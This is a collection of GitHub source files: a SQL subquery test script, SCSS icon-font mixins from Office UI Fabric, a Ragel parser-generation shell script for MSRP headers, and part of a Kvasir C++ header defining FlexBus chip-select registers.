SELECT * FROM t1 WHERE c1 = ANY (SELECT c1 FROM t2 WHERE t2.c2 =
t1.c2);
DROP TABLE t1;
DROP TABLE t2;
CREATE TABLE t1 (c1 INT, c2 BINARY(100));
INSERT INTO t1 VALUES (null,null);
INSERT INTO t1 VALUES (1,'');
INSERT INTO t1 VALUES (2,'abcde');
INSERT INTO t1 VALUES (100,'abcdefghij');
CREATE TABLE t2 (c1 INT, c2 VARCHAR(100));
INSERT INTO t2 VALUES (1,'abcde');
INSERT INTO t2 VALUES (2,'abcde');
SELECT * FROM t1 WHERE c1 = ANY (SELECT c1 FROM t2 WHERE t2.c2 =
t1.c2);
DROP TABLE t1;
DROP TABLE t2;
CREATE TABLE t1 (c1 INT, c2 VARBINARY(100));
INSERT INTO t1 VALUES (null,null);
INSERT INTO t1 VALUES (1,'');
INSERT INTO t1 VALUES (2,'abcde');
INSERT INTO t1 VALUES (100,'abcdefghij');
CREATE TABLE t2 (c1 INT, c2 VARCHAR(100));
INSERT INTO t2 VALUES (1,'abcde');
INSERT INTO t2 VALUES (2,'abcde');
SELECT * FROM t1 WHERE c1 = ANY (SELECT c1 FROM t2 WHERE t2.c2 =
t1.c2);
DROP TABLE t1;
DROP TABLE t2;
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) Microsoft. All rights reserved. Licensed under the MIT license. See LICENSE in the project root for license information.
//
// Office UI Fabric
// --------------------------------------------------
// Icon definitions
@mixin ms-Icon {
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
display: inline-block;
font-family: 'Office365Icons';
font-style: normal;
font-weight: normal;
line-height: 1;
speak: none;
}
// Modifiers: Each of the icons.
@mixin ms-Icon--circleEmpty { content: '\e000'; } // ''
@mixin ms-Icon--circleFill { content: '\e001'; } // ''
@mixin ms-Icon--placeholder { content: '\e002'; } // ''
@mixin ms-Icon--star { content: '\e003'; } // ''
@mixin ms-Icon--plus { content: '\e004'; } // ''
@mixin ms-Icon--minus { content: '\e005'; } // ''
@mixin ms-Icon--question { content: '\e006'; } // ''
@mixin ms-Icon--exclamation { content: '\e007'; } // ''
@mixin ms-Icon--person { content: '\e008'; } // ''
@mixin ms-Icon--mail { content: '\e009'; } // ''
@mixin ms-Icon--infoCircle { content: '\e00a'; } // ''
@mixin ms-Icon--alert { content: '\e00b'; } // ''
@mixin ms-Icon--xCircle { content: '\e00c'; } // ''
@mixin ms-Icon--mailOpen { content: '\e00d'; } // ''
@mixin ms-Icon--people { content: '\e00e'; } // ''
@mixin ms-Icon--bell { content: '\e010'; } // ''
@mixin ms-Icon--calendar { content: '\e011'; } // ''
@mixin ms-Icon--scheduling { content: '\e012'; } // ''
@mixin ms-Icon--event { content: '\e013'; } // ''
@mixin ms-Icon--folder { content: '\e014'; } // ''
@mixin ms-Icon--documents { content: '\e015'; } // ''
@mixin ms-Icon--onedrive { content: '\e016'; } // ''
@mixin ms-Icon--chat { content: '\e017'; } // ''
@mixin ms-Icon--sites { content: '\e018'; } // ''
@mixin ms-Icon--listBullets { content: '\e019'; } // ''
@mixin ms-Icon--calendarWeek { content: '\e01a'; } // ''
@mixin ms-Icon--calendarWorkWeek { content: '\e01b'; } // ''
@mixin ms-Icon--calendarDay { content: '\e01c'; } // ''
@mixin ms-Icon--folderMove { content: '\e01d'; } // ''
@mixin ms-Icon--panel { content: '\e01e'; } // ''
@mixin ms-Icon--popout { content: '\e01f'; } // ''
@mixin ms-Icon--menu { content: '\e020'; } // ''
@mixin ms-Icon--home { content: '\e021'; } // ''
@mixin ms-Icon--favorites { content: '\e022'; } // ''
@mixin ms-Icon--phone { content: '\e023'; } // ''
@mixin ms-Icon--mailSend { content: '\e024'; } // ''
@mixin ms-Icon--save { content: '\e025'; } // ''
@mixin ms-Icon--trash { content: '\e026'; } // ''
@mixin ms-Icon--pencil { content: '\e027'; } // ''
@mixin ms-Icon--flag { content: '\e028'; } // ''
@mixin ms-Icon--reply { content: '\e029'; } // ''
@mixin ms-Icon--miniatures { content: '\e02a'; } // ''
@mixin ms-Icon--voicemail { content: '\e02b'; } // ''
@mixin ms-Icon--play { content: '\e02c'; } // ''
@mixin ms-Icon--pause { content: '\e02d'; } // ''
@mixin ms-Icon--onlineAdd { content: '\e02e'; } // ''
@mixin ms-Icon--onlineJoin { content: '\e02f'; } // ''
@mixin ms-Icon--replyAll { content: '\e030'; } // ''
@mixin ms-Icon--attachment { content: '\e031'; } // ''
@mixin ms-Icon--drm { content: '\e032'; } // ''
@mixin ms-Icon--pinDown { content: '\e033'; } // ''
@mixin ms-Icon--refresh { content: '\e034'; } // ''
@mixin ms-Icon--gear { content: '\e035'; } // ''
@mixin ms-Icon--smiley { content: '\e036'; } // ''
@mixin ms-Icon--info { content: '\e037'; } // ''
@mixin ms-Icon--lock { content: '\e038'; } // ''
@mixin ms-Icon--search { content: '\e039'; } // ''
@mixin ms-Icon--questionReverse { content: '\e03a'; } // ''
@mixin ms-Icon--notRecurring { content: '\e03b'; } // ''
@mixin ms-Icon--tasks { content: '\e040'; } // ''
@mixin ms-Icon--check { content: '\e041'; } // ''
@mixin ms-Icon--x { content: '\e042'; } // ''
@mixin ms-Icon--ellipsis { content: '\e045'; } // ''
@mixin ms-Icon--dot { content: '\e046'; } // ''
@mixin ms-Icon--arrowUp { content: '\e047'; } // ''
@mixin ms-Icon--arrowDown { content: '\e048'; } // ''
@mixin ms-Icon--arrowLeft { content: '\e049'; } // ''
@mixin ms-Icon--arrowRight { content: '\e04a'; } // ''
@mixin ms-Icon--download { content: '\e04b'; } // ''
@mixin ms-Icon--directions { content: '\e04c'; } // ''
@mixin ms-Icon--microphone { content: '\e04f'; } // ''
@mixin ms-Icon--caretUp { content: '\e051'; } // ''
@mixin ms-Icon--caretDown { content: '\e052'; } // ''
@mixin ms-Icon--caretLeft { content: '\e053'; } // ''
@mixin ms-Icon--caretRight { content: '\e054'; } // ''
@mixin ms-Icon--caretUpLeft { content: '\e05a'; } // ''
@mixin ms-Icon--caretUpRight { content: '\e05b'; } // ''
@mixin ms-Icon--caretDownRight { content: '\e05c'; } // ''
@mixin ms-Icon--caretDownLeft { content: '\e05d'; } // ''
@mixin ms-Icon--note { content: '\e06a'; } // ''
@mixin ms-Icon--noteReply { content: '\e06b'; } // ''
@mixin ms-Icon--noteForward { content: '\e06c'; } // ''
@mixin ms-Icon--key { content: '\e06f'; } // ''
@mixin ms-Icon--tile { content: '\e070'; } // ''
@mixin ms-Icon--taskRecurring { content: '\e071'; } // ''
@mixin ms-Icon--starEmpty { content: '\e073'; } // ''
@mixin ms-Icon--upload { content: '\e076'; } // ''
@mixin ms-Icon--wrench { content: '\e077'; } // ''
@mixin ms-Icon--share { content: '\e078'; } // ''
@mixin ms-Icon--documentReply { content: '\e079'; } // ''
@mixin ms-Icon--documentForward { content: '\e07a'; } // ''
@mixin ms-Icon--partner { content: '\e080'; } // ''
@mixin ms-Icon--reactivate { content: '\e084'; } // ''
@mixin ms-Icon--sort { content: '\e085'; } // ''
@mixin ms-Icon--personAdd { content: '\e086'; } // ''
@mixin ms-Icon--chevronUp { content: '\e087'; } // ''
@mixin ms-Icon--chevronDown { content: '\e088'; } // ''
@mixin ms-Icon--chevronLeft { content: '\e089'; } // ''
@mixin ms-Icon--chevronRight { content: '\e08a'; } // ''
@mixin ms-Icon--peopleAdd { content: '\e08c'; } // ''
@mixin ms-Icon--newsfeed { content: '\e08d'; } // ''
@mixin ms-Icon--notebook { content: '\e08e'; } // ''
@mixin ms-Icon--link { content: '\e08f'; } // ''
@mixin ms-Icon--chevronsUp { content: '\e090'; } // ''
@mixin ms-Icon--chevronsDown { content: '\e091'; } // ''
@mixin ms-Icon--chevronsLeft { content: '\e092'; } // ''
@mixin ms-Icon--chevronsRight { content: '\e093'; } // ''
@mixin ms-Icon--clutter { content: '\e09a'; } // ''
@mixin ms-Icon--subscribe { content: '\e09c'; } // ''
@mixin ms-Icon--unsubscribe { content: '\e09d'; } // ''
@mixin ms-Icon--personRemove { content: '\e09e'; } // ''
@mixin ms-Icon--receiptForward { content: '\e0a0'; } // ''
@mixin ms-Icon--receiptReply { content: '\e0a1'; } // ''
@mixin ms-Icon--receiptCheck { content: '\e0a2'; } // ''
@mixin ms-Icon--peopleRemove { content: '\e0a3'; } // ''
@mixin ms-Icon--merge { content: '\e0a4'; } // ''
@mixin ms-Icon--split { content: '\e0a5'; } // ''
@mixin ms-Icon--eventCancel { content: '\e0a6'; } // ''
@mixin ms-Icon--eventShare { content: '\e0a7'; } // ''
@mixin ms-Icon--today { content: '\e0a9'; } // ''
@mixin ms-Icon--oofReply { content: '\e0aa'; } // ''
@mixin ms-Icon--voicemailReply { content: '\e0ac'; } // ''
@mixin ms-Icon--voicemailForward { content: '\e0ad'; } // ''
@mixin ms-Icon--ribbon { content: '\e0af'; } // ''
@mixin ms-Icon--contact { content: '\e0b0'; } // ''
@mixin ms-Icon--eye { content: '\e0b1'; } // ''
@mixin ms-Icon--glasses { content: '\e0b2'; } // ''
@mixin ms-Icon--print { content: '\e100'; } // ''
@mixin ms-Icon--room { content: '\e101'; } // ''
@mixin ms-Icon--post { content: '\e102'; } // ''
@mixin ms-Icon--toggle { content: '\e103'; } // ''
@mixin ms-Icon--touch { content: '\e104'; } // ''
@mixin ms-Icon--clock { content: '\e105'; } // ''
@mixin ms-Icon--fax { content: '\e106'; } // ''
@mixin ms-Icon--lightning { content: '\e110'; } // ''
@mixin ms-Icon--dialpad { content: '\e111'; } // ''
@mixin ms-Icon--phoneTransfer { content: '\e112'; } // ''
@mixin ms-Icon--phoneAdd { content: '\e113'; } // ''
@mixin ms-Icon--late { content: '\e114'; } // ''
@mixin ms-Icon--chatAdd { content: '\e115'; } // ''
@mixin ms-Icon--conflict { content: '\e116'; } // ''
@mixin ms-Icon--navigate { content: '\e117'; } // ''
@mixin ms-Icon--camera { content: '\e119'; } // ''
@mixin ms-Icon--filter { content: '\e11a'; } // ''
@mixin ms-Icon--fullscreen { content: '\e11b'; } // ''
@mixin ms-Icon--new { content: '\e11c'; } // ''
@mixin ms-Icon--mailEmpty { content: '\e11d'; } // ''
@mixin ms-Icon--editBox { content: '\e11e'; } // ''
@mixin ms-Icon--waffle { content: '\e11f'; } // ''
@mixin ms-Icon--work { content: '\e120'; } // ''
@mixin ms-Icon--eventRecurring { content: '\e121'; } // ''
@mixin ms-Icon--cart { content: '\e122'; } // ''
@mixin ms-Icon--socialListening { content: '\e123'; } // ''
@mixin ms-Icon--mapMarker { content: '\e124'; } // ''
@mixin ms-Icon--org { content: '\e125'; } // ''
@mixin ms-Icon--replyAlt { content: '\e150'; } // ''
@mixin ms-Icon--replyAllAlt { content: '\e152'; } // ''
@mixin ms-Icon--eventInfo { content: '\e154'; } // ''
@mixin ms-Icon--group { content: '\e155'; } // ''
@mixin ms-Icon--money { content: '\e161'; } // ''
@mixin ms-Icon--graph { content: '\e162'; } // ''
@mixin ms-Icon--noteEdit { content: '\e163'; } // ''
@mixin ms-Icon--dashboard { content: '\e164'; } // ''
@mixin ms-Icon--mailEdit { content: '\e165'; } // ''
@mixin ms-Icon--pinLeft { content: '\e167'; } // ''
@mixin ms-Icon--heart { content: '\e16a'; } // ''
@mixin ms-Icon--heartEmpty { content: '\e16b'; } // ''
@mixin ms-Icon--picture { content: '\e16c'; } // ''
@mixin ms-Icon--cake { content: '\e16d'; } // ''
@mixin ms-Icon--books { content: '\e16e'; } // ''
@mixin ms-Icon--chart { content: '\e16f'; } // ''
@mixin ms-Icon--video { content: '\e170'; } // ''
@mixin ms-Icon--soccer { content: '\e171'; } // ''
@mixin ms-Icon--meal { content: '\e172'; } // ''
@mixin ms-Icon--balloon { content: '\e173'; } // ''
@mixin ms-Icon--cat { content: '\e174'; } // ''
@mixin ms-Icon--dog { content: '\e175'; } // ''
@mixin ms-Icon--bag { content: '\e176'; } // ''
@mixin ms-Icon--music { content: '\e177'; } // ''
@mixin ms-Icon--stopwatch { content: '\e178'; } // ''
@mixin ms-Icon--coffee { content: '\e179'; } // ''
@mixin ms-Icon--briefcase { content: '\e17a'; } // ''
@mixin ms-Icon--pill { content: '\e17b'; } // ''
@mixin ms-Icon--trophy { content: '\e17c'; } // ''
@mixin ms-Icon--firstAid { content: '\e17d'; } // ''
@mixin ms-Icon--plane { content: '\e17e'; } // ''
@mixin ms-Icon--page { content: '\e17f'; } // ''
@mixin ms-Icon--car { content: '\e180'; } // ''
@mixin ms-Icon--dogAlt { content: '\e181'; } // ''
@mixin ms-Icon--document { content: '\e182'; } // ''
@mixin ms-Icon--metadata { content: '\e183'; } // ''
@mixin ms-Icon--pointItem { content: '\e184'; } // ''
@mixin ms-Icon--text { content: '\e185'; } // ''
@mixin ms-Icon--fieldText { content: '\e186'; } // ''
@mixin ms-Icon--fieldNumber { content: '\e187'; } // ''
@mixin ms-Icon--dropdown { content: '\e188'; } // ''
@mixin ms-Icon--radioButton { content: '\e189'; } // ''
@mixin ms-Icon--checkbox { content: '\e18a'; } // ''
@mixin ms-Icon--story { content: '\e18b'; } // ''
@mixin ms-Icon--bold { content: '\e18c'; } // ''
@mixin ms-Icon--italic { content: '\e18d'; } // ''
@mixin ms-Icon--underline { content: '\e18e'; } // ''
@mixin ms-Icon--quote { content: '\e18f'; } // ''
@mixin ms-Icon--styleRemove { content: '\e190'; } // ''
@mixin ms-Icon--pictureAdd { content: '\e191'; } // ''
@mixin ms-Icon--pictureRemove { content: '\e192'; } // ''
@mixin ms-Icon--desktop { content: '\e193'; } // ''
@mixin ms-Icon--tablet { content: '\e194'; } // ''
@mixin ms-Icon--mobile { content: '\e195'; } // ''
@mixin ms-Icon--table { content: '\e196'; } // ''
@mixin ms-Icon--hide { content: '\e197'; } // ''
@mixin ms-Icon--shield { content: '\e198'; } // ''
@mixin ms-Icon--header { content: '\e19a'; } // ''
@mixin ms-Icon--paint { content: '\e19b'; } // ''
@mixin ms-Icon--support { content: '\e19c'; } // ''
@mixin ms-Icon--settings { content: '\e19d'; } // ''
@mixin ms-Icon--creditCard { content: '\e19e'; } // ''
@mixin ms-Icon--reload { content: '\e19f'; } // ''
@mixin ms-Icon--peopleSecurity { content: '\e200'; } // ''
@mixin ms-Icon--fieldTextBox { content: '\e203'; } // ''
@mixin ms-Icon--multiChoice { content: '\e204'; } // ''
@mixin ms-Icon--fieldMail { content: '\e205'; } // ''
@mixin ms-Icon--contactForm { content: '\e206'; } // ''
@mixin ms-Icon--circleHalfFilled { content: '\e207'; } // ''
@mixin ms-Icon--documentPDF { content: '\e208'; } // ''
@mixin ms-Icon--bookmark { content: '\e209'; } // ''
@mixin ms-Icon--circleUnfilled { content: '\e20b'; } // ''
@mixin ms-Icon--circleFilled { content: '\e20c'; } // ''
@mixin ms-Icon--textBox { content: '\e20e'; } // ''
@mixin ms-Icon--drop { content: '\e20f'; } // ''
@mixin ms-Icon--sun { content: '\e210'; } // ''
@mixin ms-Icon--lifesaver { content: '\e211'; } // ''
@mixin ms-Icon--lifesaverLock { content: '\e212'; } // ''
@mixin ms-Icon--mailUnread { content: '\e213'; } // ''
@mixin ms-Icon--mailRead { content: '\e214'; } // ''
@mixin ms-Icon--inboxCheck { content: '\e215'; } // ''
@mixin ms-Icon--folderSearch { content: '\e216'; } // ''
@mixin ms-Icon--collapse { content: '\e217'; } // ''
@mixin ms-Icon--expand { content: '\e218'; } // ''
@mixin ms-Icon--ascending { content: '\e219'; } // ''
@mixin ms-Icon--descending { content: '\e21a'; } // ''
@mixin ms-Icon--filterClear { content: '\e21b'; } // ''
@mixin ms-Icon--checkboxEmpty { content: '\e21c'; } // ''
@mixin ms-Icon--checkboxMixed { content: '\e21d'; } // ''
@mixin ms-Icon--boards { content: '\e21e'; } // ''
@mixin ms-Icon--checkboxCheck { content: '\e21f'; } // ''
@mixin ms-Icon--frowny { content: '\e220'; } // ''
@mixin ms-Icon--lightBulb { content: '\e221'; } // ''
@mixin ms-Icon--globe { content: '\e222'; } // ''
@mixin ms-Icon--deviceWipe { content: '\e223'; } // ''
@mixin ms-Icon--listCheck { content: '\e226'; } // ''
@mixin ms-Icon--listGroup { content: '\e227'; } // ''
@mixin ms-Icon--timeline { content: '\e228'; } // ''
@mixin ms-Icon--fontIncrease { content: '\e229'; } // ''
@mixin ms-Icon--fontDecrease { content: '\e22a'; } // ''
@mixin ms-Icon--fontColor { content: '\e22b'; } // ''
@mixin ms-Icon--mailCheck { content: '\e22c'; } // ''
@mixin ms-Icon--mailDown { content: '\e22d'; } // ''
@mixin ms-Icon--listCheckbox { content: '\e22e'; } // ''
@mixin ms-Icon--sunAdd { content: '\e22f'; } // ''
@mixin ms-Icon--sunQuestion { content: '\e230'; } // ''
@mixin ms-Icon--chevronThinUp { content: '\e231'; } // ''
@mixin ms-Icon--chevronThinDown { content: '\e232'; } // ''
@mixin ms-Icon--chevronThinLeft { content: '\e233'; } // ''
@mixin ms-Icon--chevronThinRight { content: '\e234'; } // ''
@mixin ms-Icon--chevronThickUp { content: '\e235'; } // ''
@mixin ms-Icon--chevronThickDown { content: '\e236'; } // ''
@mixin ms-Icon--chevronThickLeft { content: '\e237'; } // ''
@mixin ms-Icon--chevronThickRight { content: '\e238'; } // ''
@mixin ms-Icon--linkRemove { content: '\e239'; } // ''
@mixin ms-Icon--alertOutline { content: '\e23b'; } // ''
@mixin ms-Icon--documentLandscape { content: '\e23c'; } // ''
@mixin ms-Icon--documentAdd { content: '\e23d'; } // ''
@mixin ms-Icon--toggleMiddle { content: '\e23e'; } // ''
@mixin ms-Icon--embed { content: '\e23f'; } // ''
@mixin ms-Icon--listNumbered { content: '\e240'; } // ''
@mixin ms-Icon--peopleCheck { content: '\e242'; } // ''
@mixin ms-Icon--caretUpOutline { content: '\e243'; } // ''
@mixin ms-Icon--caretDownOutline { content: '\e244'; } // ''
@mixin ms-Icon--caretLeftOutline { content: '\e245'; } // ''
@mixin ms-Icon--caretRightOutline { content: '\e246'; } // ''
@mixin ms-Icon--mailSync { content: '\e248'; } // ''
@mixin ms-Icon--mailError { content: '\e249'; } // ''
@mixin ms-Icon--mailPause { content: '\e24a'; } // ''
@mixin ms-Icon--peopleSync { content: '\e24b'; } // ''
@mixin ms-Icon--peopleError { content: '\e24c'; } // ''
@mixin ms-Icon--peoplePause { content: '\e24d'; } // ''
@mixin ms-Icon--circleBall { content: '\e24e'; } // ''
@mixin ms-Icon--circleBalloons { content: '\e24f'; } // ''
@mixin ms-Icon--circleCar { content: '\e250'; } // ''
@mixin ms-Icon--circleCat { content: '\e251'; } // ''
@mixin ms-Icon--circleCoffee { content: '\e252'; } // ''
@mixin ms-Icon--circleDog { content: '\e253'; } // ''
@mixin ms-Icon--circleLightning { content: '\e254'; } // ''
@mixin ms-Icon--circlePill { content: '\e255'; } // ''
@mixin ms-Icon--circlePlane { content: '\e256'; } // ''
@mixin ms-Icon--circlePoodle { content: '\e257'; } // ''
@mixin ms-Icon--checkPeople { content: '\e259'; } // ''
@mixin ms-Icon--documentSearch { content: '\e25a'; } // ''
@mixin ms-Icon--sortLines { content: '\e25c'; } // ''
@mixin ms-Icon--calendarPublic { content: '\e25d'; } // ''
@mixin ms-Icon--contactPublic { content: '\e25e'; } // ''
@mixin ms-Icon--classNotebook { content: '\e25f'; } // ''
@mixin ms-Icon--triangleUp { content: '\e260'; } // ''
@mixin ms-Icon--triangleRight { content: '\e261'; } // ''
@mixin ms-Icon--triangleDown { content: '\e262'; } // ''
@mixin ms-Icon--triangleLeft { content: '\e263'; } // ''
@mixin ms-Icon--triangleEmptyUp { content: '\e264'; } // ''
@mixin ms-Icon--triangleEmptyRight { content: '\e265'; } // ''
@mixin ms-Icon--triangleEmptyDown { content: '\e266'; } // ''
@mixin ms-Icon--triangleEmptyLeft { content: '\e267'; } // ''
@mixin ms-Icon--filePDF { content: '\e268'; } // ''
@mixin ms-Icon--fileImage { content: '\e26c'; } // ''
@mixin ms-Icon--fileDocument { content: '\e26d'; } // ''
@mixin ms-Icon--listGroup2 { content: '\e26e'; } // ''
@mixin ms-Icon--copy { content: '\e26f'; } // ''
@mixin ms-Icon--creditCardOutline { content: '\e270'; } // ''
@mixin ms-Icon--mailPublic { content: '\e272'; } // ''
@mixin ms-Icon--folderPublic { content: '\e273'; } // ''
@mixin ms-Icon--teamwork { content: '\e274'; } // ''
@mixin ms-Icon--move { content: '\e275'; } // ''
@mixin ms-Icon--classroom { content: '\e276'; } // ''
@mixin ms-Icon--menu2 { content: '\e277'; } // ''
@mixin ms-Icon--plus2 { content: '\e278'; } // ''
@mixin ms-Icon--tag { content: '\e279'; } // ''
@mixin ms-Icon--arrowUp2 { content: '\e27a'; } // ''
@mixin ms-Icon--arrowDown2 { content: '\e27b'; } // ''
@mixin ms-Icon--circlePlus { content: '\e27c'; } // ''
@mixin ms-Icon--circleInfo { content: '\e27d'; } // ''
@mixin ms-Icon--section { content: '\e27e'; } // ''
@mixin ms-Icon--sections { content: '\e27f'; } // ''
@mixin ms-Icon--at { content: '\e282'; } // ''
@mixin ms-Icon--arrowUpRight { content: '\e283'; } // ''
@mixin ms-Icon--arrowDownRight { content: '\e284'; } // ''
@mixin ms-Icon--arrowDownLeft { content: '\e285'; } // ''
@mixin ms-Icon--arrowUpLeft { content: '\e286'; } // ''
@mixin ms-Icon--bundle { content: '\e287'; } // ''
@mixin ms-Icon--pictureEdit { content: '\e288'; } // ''
@mixin ms-Icon--protectionCenter { content: '\e289'; } // ''
@mixin ms-Icon--alert2 { content: '\e28a'; } // ''
@mixin ms-Icon--circle {
position: relative;
display: inline-block;
font-size: 1rem;
width: 1em;
height: 1em;
margin: 0 0.5em 0 0;
padding: 0;
text-align: left;
-webkit-font-smoothing: antialiased;
&:before, &:after {
line-height: 1;
font-size: inherit;
}
&:before {
display: block;
width: 100%;
height: 100%;
margin: 0;
padding: 0;
vertical-align: top;
position: absolute;
}
&:after {
content: '\e000';
position: absolute;
top: 0;
left: 0;
transform: scale(2);
transform-origin: 50% 50%;
z-index: $ms-zIndex-back;
}
}
|
{
"pile_set_name": "Github"
}
|
# Ragel generator
# For more information about Ragel: http://www.complang.org/ragel/
export OPTIONS="-C -L -T0"
#export OPTIONS="-C -L -G2"
# msrp Message parser
ragel.exe $OPTIONS -o ./src/parsers/tmsrp_parser_message.c ./ragel/tmsrp_parser_message.rl
# msrp URI
ragel.exe $OPTIONS -o ./src/parsers/tmsrp_parser_uri.c ./ragel/tmsrp_parser_uri.rl
# ==Authentication-Info.h
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Authentication-Info.c ./ragel/tmsrp_parser_header_Authentication-Info.rl
# ==Authorization
# Ignored
# ==Byte-Range
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Byte-Range.c ./ragel/tmsrp_parser_header_Byte-Range.rl
# ==Content-Type
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Content-Type.c ./ragel/tmsrp_parser_header_Content-Type.rl
# ==Dummy
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Dummy.c ./ragel/tmsrp_parser_header_Dummy.rl
# ==Expires
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Expires.c ./ragel/tmsrp_parser_header_Expires.rl
# ==Failure-Report
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Failure-Report.c ./ragel/tmsrp_parser_header_Failure-Report.rl
# ==From-Path
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_From-Path.c ./ragel/tmsrp_parser_header_From-Path.rl
# ==Max-Expires
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Max-Expires.c ./ragel/tmsrp_parser_header_Max-Expires.rl
# ==Message-ID
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Message-ID.c ./ragel/tmsrp_parser_header_Message-ID.rl
# ==Min-Expires
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Min-Expires.c ./ragel/tmsrp_parser_header_Min-Expires.rl
# ==Status
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Status.c ./ragel/tmsrp_parser_header_Status.rl
# ==Success-Report
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Success-Report.c ./ragel/tmsrp_parser_header_Success-Report.rl
# ==To-Path
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_To-Path.c ./ragel/tmsrp_parser_header_To-Path.rl
# ==Use-Path
ragel.exe $OPTIONS -o ./src/headers/tmsrp_header_Use-Path.c ./ragel/tmsrp_parser_header_Use-Path.rl
# ==WWW-Authenticate
# Ignored
|
{
"pile_set_name": "Github"
}
|
#pragma once
#include <Register/Utility.hpp>
namespace Kvasir {
//FlexBus external bus interface
namespace FbCspmcr{ ///<Chip select port multiplexing control register
using Addr = Register::Address<0x4000c060,0x00000fff,0x00000000,unsigned>;
///FlexBus signal group 5 multiplex control
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,12),Register::ReadWriteAccess,unsigned> group5{};
///FlexBus signal group 4 multiplex control
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,16),Register::ReadWriteAccess,unsigned> group4{};
///FlexBus signal group 3 multiplex control
constexpr Register::FieldLocation<Addr,Register::maskFromRange(23,20),Register::ReadWriteAccess,unsigned> group3{};
///FlexBus signal group 2 multiplex control
constexpr Register::FieldLocation<Addr,Register::maskFromRange(27,24),Register::ReadWriteAccess,unsigned> group2{};
///FlexBus signal group 1 multiplex control
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,28),Register::ReadWriteAccess,unsigned> group1{};
}
namespace FbCsar0{ ///<Chip select address register
using Addr = Register::Address<0x4000c000,0x0000ffff,0x00000000,unsigned>;
///Base address
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> ba{};
}
namespace FbCsar1{ ///<Chip select address register
using Addr = Register::Address<0x4000c00c,0x0000ffff,0x00000000,unsigned>;
///Base address
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> ba{};
}
namespace FbCsar2{ ///<Chip select address register
using Addr = Register::Address<0x4000c018,0x0000ffff,0x00000000,unsigned>;
///Base address
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> ba{};
}
namespace FbCsar3{ ///<Chip select address register
using Addr = Register::Address<0x4000c024,0x0000ffff,0x00000000,unsigned>;
///Base address
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> ba{};
}
namespace FbCsar4{ ///<Chip select address register
using Addr = Register::Address<0x4000c030,0x0000ffff,0x00000000,unsigned>;
///Base address
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> ba{};
}
namespace FbCsar5{ ///<Chip select address register
using Addr = Register::Address<0x4000c03c,0x0000ffff,0x00000000,unsigned>;
///Base address
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> ba{};
}
namespace FbCsmr0{ ///<Chip select mask register
using Addr = Register::Address<0x4000c004,0x0000fefe,0x00000000,unsigned>;
///Valid
enum class VVal {
v0=0x00000000, ///<Chip select invalid
v1=0x00000001, ///<Chip select valid
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,VVal> v{};
namespace VValC{
constexpr Register::FieldValue<decltype(v)::Type,VVal::v0> v0{};
constexpr Register::FieldValue<decltype(v)::Type,VVal::v1> v1{};
}
///Write protect
enum class WpVal {
v0=0x00000000, ///<Read and write accesses are allowed
v1=0x00000001, ///<Only read accesses are allowed
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,WpVal> wp{};
namespace WpValC{
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v0> v0{};
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v1> v1{};
}
///Base address mask
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> bam{};
}
namespace FbCsmr1{ ///<Chip select mask register
using Addr = Register::Address<0x4000c010,0x0000fefe,0x00000000,unsigned>;
///Valid
enum class VVal {
v0=0x00000000, ///<Chip select invalid
v1=0x00000001, ///<Chip select valid
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,VVal> v{};
namespace VValC{
constexpr Register::FieldValue<decltype(v)::Type,VVal::v0> v0{};
constexpr Register::FieldValue<decltype(v)::Type,VVal::v1> v1{};
}
///Write protect
enum class WpVal {
v0=0x00000000, ///<Read and write accesses are allowed
v1=0x00000001, ///<Only read accesses are allowed
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,WpVal> wp{};
namespace WpValC{
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v0> v0{};
constexpr Register::FieldValue<decltype(wp)::Type,WpVal::v1> v1{};
}
///Base address mask
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> bam{};
}
namespace FbCsmr2{ ///<Chip select mask register
using Addr = Register::Address<0x4000c01c,0x0000fefe,0x00000000,unsigned>;
///Valid
enum class VVal {
v0=0x00000000, ///<Chip select invalid
v1=0x00000001, ///<Chip select valid
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,VVal> v{};
namespace VValC{
constexpr Register::FieldValue<decltype(v)::Type,VVal::v0> v0{};
constexpr Register::FieldValue<decltype(v)::Type,VVal::v1> v1{};
}
///Write protect
enum class WpVal {
v0=0x00000000, ///<Read and write accesses are allowed
v1=0x00000001, ///<Only read accesses are allowed
};
constexpr Register::FieldLocation<Addr,Register::maskFromRange(8,8),Register::ReadWriteAccess,WpVal> wp{};
namespace WpValC{
